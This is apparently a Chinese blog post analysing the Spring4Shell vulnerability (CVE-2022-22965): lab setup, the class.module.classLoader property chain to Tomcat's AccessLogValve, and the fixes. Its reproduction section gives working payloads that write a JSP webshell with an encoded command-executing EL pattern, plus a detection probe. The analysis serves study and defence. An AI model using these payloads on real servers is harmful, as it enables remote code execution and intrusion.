继续看看最近的Spring框架漏洞,非常有名的Spring4Shell

官方通告:https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

环境搭建

使用github上的docker项目:https://github.com/reznok/Spring4Shell-POC

修改Dockerfile进行换源,debian各个版本的阿里镜像:https://developer.aliyun.com/mirror/debian

添加我们的远程调试:

1
ENV JAVA_TOOL_OPTIONS -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:10087

最后开启docker,docker build . -t spring4shell && docker run -p 8080:8080 -p 10087:10087 spring4shell

漏洞分析

这个漏洞基于CVE-2010-1622,是该漏洞的补丁绕过

SpringMVC参数绑定

SpringMVC支持将HTTP请求中的的请求参数或者请求体内容,根据Controller方法的参数,自动完成类型转换和赋值

我们这里POST请求id=1,那么就会调用greeting.setId(1)进行赋值
假设请求参数名为foo.bar.baz.qux,对应Controller方法入参为Param,则有以下的调用链:

1
2
3
4
Param.getFoo()
Foo.getBar()
Bar.getBaz()
Baz.setQux() // 注意这里为set

Class对象

Java Object 类是所有类的父类,也就是说 Java 的所有类都继承了 Object,子类可以使用 Object 的所有方法

通过 JavaBean 的内省(Introspector)来获取Greeting类中的属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.beans.*;

public class test {
public static void main(String[] args) throws IntrospectionException {
BeanInfo beanInfo = Introspector.getBeanInfo(Greeting.class);

System.out.println("所有属性描述:");
PropertyDescriptor[] pds = beanInfo.getPropertyDescriptors();
for (PropertyDescriptor propertyDescriptor : pds) {
System.out.println(propertyDescriptor.getName());
}
System.out.println("所有方法描述:");
for (MethodDescriptor methodDescriptor : beanInfo.getMethodDescriptors()) {
System.out.println(methodDescriptor.getName());
}
}
}

所以在Greeting类中还有一个名为class的属性,并且还有一个getClass()的方法

同样我们可以对 Class 对象内省获取属性以及对应的方法:

1
BeanInfo beanInfo = Introspector.getBeanInfo(Class.class);

主要利用的就是classLoader类加载器

CVE-2010-1622利用的方式是class.classLoader.URLs[0]=jar:http://127.0.0.1:8000/exp.jar!/
主要流程为:

1
classLoader.URLs[0]->WebappClassLoader.getURLs()->TldLocationsCache.scanJars()

修复:
Tomcat6.0.28版本后把getURLs方法返回的值改成了clone的,这使得我们获得的clone值无法修改classloader中的URLs[]

Spring则是在CachedIntrospectionResults中获取beanInfo后对其进行了判断,将classLoader添加进了黑名单

poc分析

自从JDK 9+开始,JDK引入了模块(Module)的概念,就可以通过module来调用JDK模块下的方法,而module并不在黑名单中,所以能够绕过黑名单
第一次传入的参数是

1
class.module.classLoader.resources.context.parent.pipeline.first.pattern

经过一系列的调用逻辑后,来到org.springframework.beans.AbstractNestablePropertyAccessor#getPropertyAccessorForPropertyPath方法,该方法通过递归调用自身,实现对利用链的递归解析

可以看到:

1
2
3
propertyPath:class.module.classLoader.resources.context.parent.pipeline.first.pattern
nestedProperty:class
nestedPath:module.classLoader.resources.context.parent.pipeline.first.pattern

跟进,会来到org.springframework.beans.BeanWrapperImpl.BeanPropertyHandler#getValue方法

通过反射调用Greeting.getClass(),获得java.lang.Class实例

然后进入第二次迭代

第三次迭代

该过程中java.lang.Module.getClassLoader()得到org.apache.catalina.loader.ParallelWebappClassLoader

同理,经过数次迭代,最终的利用链为:

1
2
3
4
5
6
7
8
9
Greeting.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader()
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
org.apache.catalina.webresources.StandardRoot.getContext()
org.apache.catalina.core.StandardContext.getParent()
org.apache.catalina.core.StandardHost.getPipeline()
org.apache.catalina.core.StandardPipeline.getFirst()
org.apache.catalina.valves.AccessLogValve.setPattern()

那么就可以对AccessLogValve类得属性进行设置

  1. pattern参数:access_log的文件内容格式
  2. suffix参数:access_log的文件名后缀
  3. directory参数:access_log的文件输出目录
  4. prefix参数:access_log的文件名前缀
  5. fileDateFormat参数:access_log文件名日期后缀

最后来看一下AccessLogValve类的相关配置:

1
((WebappClassLoaderBase)greeting.getClass().getModule().getClassLoader()).getResources().getContext().getParent().getPipeline().getFirst()

对于输出的日志中可以通过形如%{param}i等形式直接引用HTTP headers、cookies、session等等
可以从官方文档得知:https://tomcat.apache.org/tomcat-9.0-doc/config/valve.html#Access_Log_Valve

漏洞复现

其实在 Struts2 S2-020 漏洞中就有这样的利用方式:Struts2 S2-020在Tomcat 8下的命令执行分析

这些payload可以分开发送,也可以合并在一次请求中,使用panda师傅推荐的EL表达式方法,就不需要header了

1
2
3
4
5
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%24%7B%22%22%5Bparam%2Ea%5D%28%29%5Bparam%2Eb%5D%28param%2Ec%29%5Bparam%2Ed%5D%28%29%5Bparam%2Ee%5D%28param%2Ef%29%5Bparam%2Eg%5D%28param%2Eh%29%7D
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1

在利用成功之后生成的文件会不断写入新内容,存在影响系统业务的可能,我们如果不想一直记录日志,可以通过修改tomcat配置文件,关闭日志记录功能,payload如下:

1
class.module.classLoader.resources.context.parent.pipeline.first.enabled=false

漏洞的无害探测:
class.module.classLoader.DefaultAssertionStatus=x,当x为 0、1 时正常,其他值的时候,返回400,说明就有漏洞

漏洞修复

Spring 的补丁为:https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15

当Java Bean的类型为java.lang.Class时,仅允许获取name以及Name后缀的属性描述符,相当于直接白名单了

Tomcat的补丁为:https://github.com/apache/tomcat/commit/8a904f6065080409a1e00606cd7bceec6ad8918c

对getResource()方法的返回值做了修改,直接返回null

参考:
spring rce 从cve-2010-1622到CVE-2022-22965 篇一
SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析
关于Spring framework rce(CVE-2022-22965)的一些问题思考
Spring4Shell简析(CVE-2022-22965)
Spring 远程命令执行漏洞(CVE-2022-22965)原理分析和思考
从零开始,分析Spring Framework RCE